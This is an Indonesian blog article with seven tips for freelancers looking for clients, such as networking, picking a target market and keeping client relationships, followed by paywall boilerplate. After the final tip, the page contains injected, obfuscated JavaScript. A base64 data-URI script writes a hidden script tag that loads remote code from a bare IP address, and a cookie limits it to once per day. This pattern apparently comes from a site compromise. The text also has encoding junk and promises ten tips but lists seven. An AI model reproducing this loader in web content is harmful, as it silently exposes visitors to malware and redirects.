7 Langkah Mencari Klien untuk Para Freelancer

By
 •
February 24, 2020

Profesi apa yang diyakini cukup fleksibel dan menyenangkan untuk dijalani?ÊYes, that would be a freelancer! SeorangÊfreelancerÊatau pekerja lepas bekerja mengikutiÊpassion-nya, mendapatkan upah, dan leluasa mengatur waktu kerjanya.ÊLike a BAWWS!Tentu saja, kenyamanan bekerja sebagaiÊfreelancerÊini baru bisa terasa jika seseorang sudah melewati banyak fase dalam perjalanannya sebagai seorangÊfreelancer, termasuk fase kekhawatiran tidak ada pemasukan, atau akibat penghasilan yang tidak tetap.Jika Anda baru memulai, atau baru memutuskan berhenti dari pekerjaan tetap yang sudah ditekuni selama bertahun-tahun, dan masih di tahap mencari klien, jangan sampai salah langkah dan pemikiran. Anda mungkin telah merapikan portfolio, meng-update laman LinkedIn, atau bahkan membuat blog, dengan harapan calon klien segera mengetahui keberadaan Anda; tapi itu saja tidak cukup!Ingat bahwa Anda harus "menjemput bola", jangan menunggu bola menggelinding sendiri ke arah Anda. Untuk itu, coba terapkan 10 tip yang diulas di bawah ini.

1. Cari koneksi sebanyak-banyaknya!

Kumpulkan kartu nama yang pernah didapatkan saat masih bekerja tetap, atau dari perkenalan dengan orang-orang baru belakangan ini. Rapikan ke dalam sebuah daftar, lalu kelompokkan berdasarkan bidang atau kategori industrinya.Rajin-rajinlah juga datang ke berbagaiÊmeetup, atau jika belum punya koneksi sama sekali, hubungi teman-teman Anda untuk mengajak Anda sebagai +1 mereka di acaraÊgatheringÊkantornya.

2. TentukanÊtarget market

SebagaiÊfreelancer, Anda mestinya juga mengidentifikasiÊskillÊdanÊunique selling propositionÊ(USP) yang dimiliki. Jika sudah, selanjutnya adalah mengidentifikasi klien-klien potensial, sesuai denganÊexpertiseÊAnda; dan bukan hanya potensial, tapi juga calon klien ideal.Saat bekerja tetap, Anda mungkin sesekali kesal dengan bos, yang akan tetap membayar gaji Anda tiap bulan, meskipun tingkah Anda bisa sangat mengesalkan. Tapi, bagaimana dengan klien? Mereka bisa saja menolak membayar Anda, kalau sampai membuat mereka jengkel.Dengan mengidentifikasi klien potensial atauÊtarget market, Anda jadi lebih bisa mempersiapkan diri, mencari informasi, serta mendapatkan gambaran tentang bagaimanaÊprojectÊbakal berjalan. Apakah yang biasanya dituntut sasaran klien? Apa yang perlu dilakukan untuk menghadapinya, dan bagaimana cara yang baik untuk berkomunikasi dengan mereka?

3. Kelola ekspektasi

Memang benar, mendapatkan brand besar untuk menghiasi halamanÊportfolioÊAnda sebagaiÊfreelancerÊbisa mendongkrak daya jual; tapi sebagai permulaan, sebaiknya Anda mengelola ekspektasi diri, karena hal itu tidak akan mudah.Meski begitu, tetaplah gigih. KirimÊemailÊperkenalan, dan sampaikan tujuan Anda mengirimkanÊemailÊtersebut.ÊPasti Anda akan menerima banyakÊpenolakan, tapi siapa tahu ada satu yang positif. Kelola ekspektasi bahwa tidak banyak calon klien yang akan memberi respons positif, meski Anda sangat percaya diri dengan kemampuan Anda. Ingat, bukan Anda satu-satunyaÊfreelancerÊyang sedang mencariÊprojectÊuntuk digarap!

4. Minta masukan dariÊfreelancerÊyang sudah sukses

Saat mengincar klien potensial, coba cari tahu apakah sebelumnya brand itu pernah memakaiÊfreelancer; lalu cari tahu kontakÊfreelancerÊtersebut. Hubungi mereka,ÊmintaÊinsightsÊseputar pekerjaan, dan bertemanlah dengan mereka.Dengan begini, mereka akan mengingat Anda sebagai orang yang ingin belajar dari mereka, bukan pesaing, juga bukan orang yang meminta pekerjaan dari mereka.

5. Jangan hanyaÊonline, tapi jugaÊoffline

Ini merupakan tahap lanjutan dari poin pertama. Meski kini mudah untuk memasarkan diri secaraÊonline, kegiatanÊofflineÊjuga bisa punya dampak besar. Memasarkan diri secaraÊofflineÊ(offline marketing) juga bisa mengasah kemampuan Anda membangun relasi secara langsung.Bergabunglah atau bentuk komunitas terkait jasa Anda, buat event lokal melalui komunitas tersebut, dan bangun serta perkuat jejaring Anda di situ; jangan lupa juga untuk rajin datang ke berbagaiÊeventÊyang diadakan komunitas atau bahkan brand.

6.ÊMenjaga hubungan dengan klien

Setelah mendapatkan klien, sangat penting juga untuk menjaga hubungan baik, agar mereka menjadi klien tetap, dan ujungnya adaÊprojectÊyang berkelanjutan. Hal ini sudah selangkah lebih mudah, jika Anda menerapkan poin ke-2 dengan benar; setidaknya, Anda sudah mempersiapkan diri, dan memperkirakan cara yang tepat untuk menghadapi dan berkomunikasi dengan mereka.Lalu, saat menjalaniÊproject, cobalah untuk memahami betul keinginan dan kebutuhan mereka; jangan terburu-buru bilang "tidak bisa", usahakan untuk selalu memberikan opsi dan solusi lain yang cocok dengan Anda, juga tujuan yang diharapkan klien.Selain juga mengelola ekspektasi diri, kita juga harus mengelola ekspektasi klien; jangan menjanjikan sesuatu yang tidak bisa atau sulit AndaÊdeliver. Dan penting juga untuk tidak hanya berkomunikasi ketikaÊprojectÊberjalan, tapi sesekali juga ajak mereka bersosialisasi; atau sekadar memberikanÊThank You NotesÊdi tiap akhirÊproject.

7. Berikan akses pada koneksi personal Anda

Bangunlah hubungan yang baik berdasarkan kepercayaan.ÊMemberikan akses ke koneksi pribadi Anda, akan menjadi hal yang sangat diapresiasi klien.ÊAnda mungkin tahu kontak orang-orang yang bisa sangat membantu keberhasilanÊproject; jika iya jangan ragu untuk berbagi dengan mereka. Hal itu bisa meningkatkan rasa nyaman dan kepercayaan mereka pada Anda.Membaca 7 tip di atas mungkin hanya butuh waktu tiga menit, tapi pada praktiknya, Anda bakal membutuhkan waktu berminggu-minggu untuk menjalankannya. Susah, butuh kerja keras, dan tentunya kesabaran yang luar biasa. Tapi, kalau Anda sudah yakin untuk menjalani usaha sendiri sebagaiÊfreelancer, Anda pasti tidak pikir dua kali untuk menjalankannya.):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('

7 Langkah Mencari Klien untuk Para Freelancer

By
.
February 24, 2020

You must be a premium member to view the full content

Sorry, but the rest of this article is for our Premium Members only. To gain access to this content and many more benefits, subscribe below!

7 Langkah Mencari Klien untuk Para Freelancer

By
.
February 24, 2020
Sign up for our free newsletter
Tags:

Related articles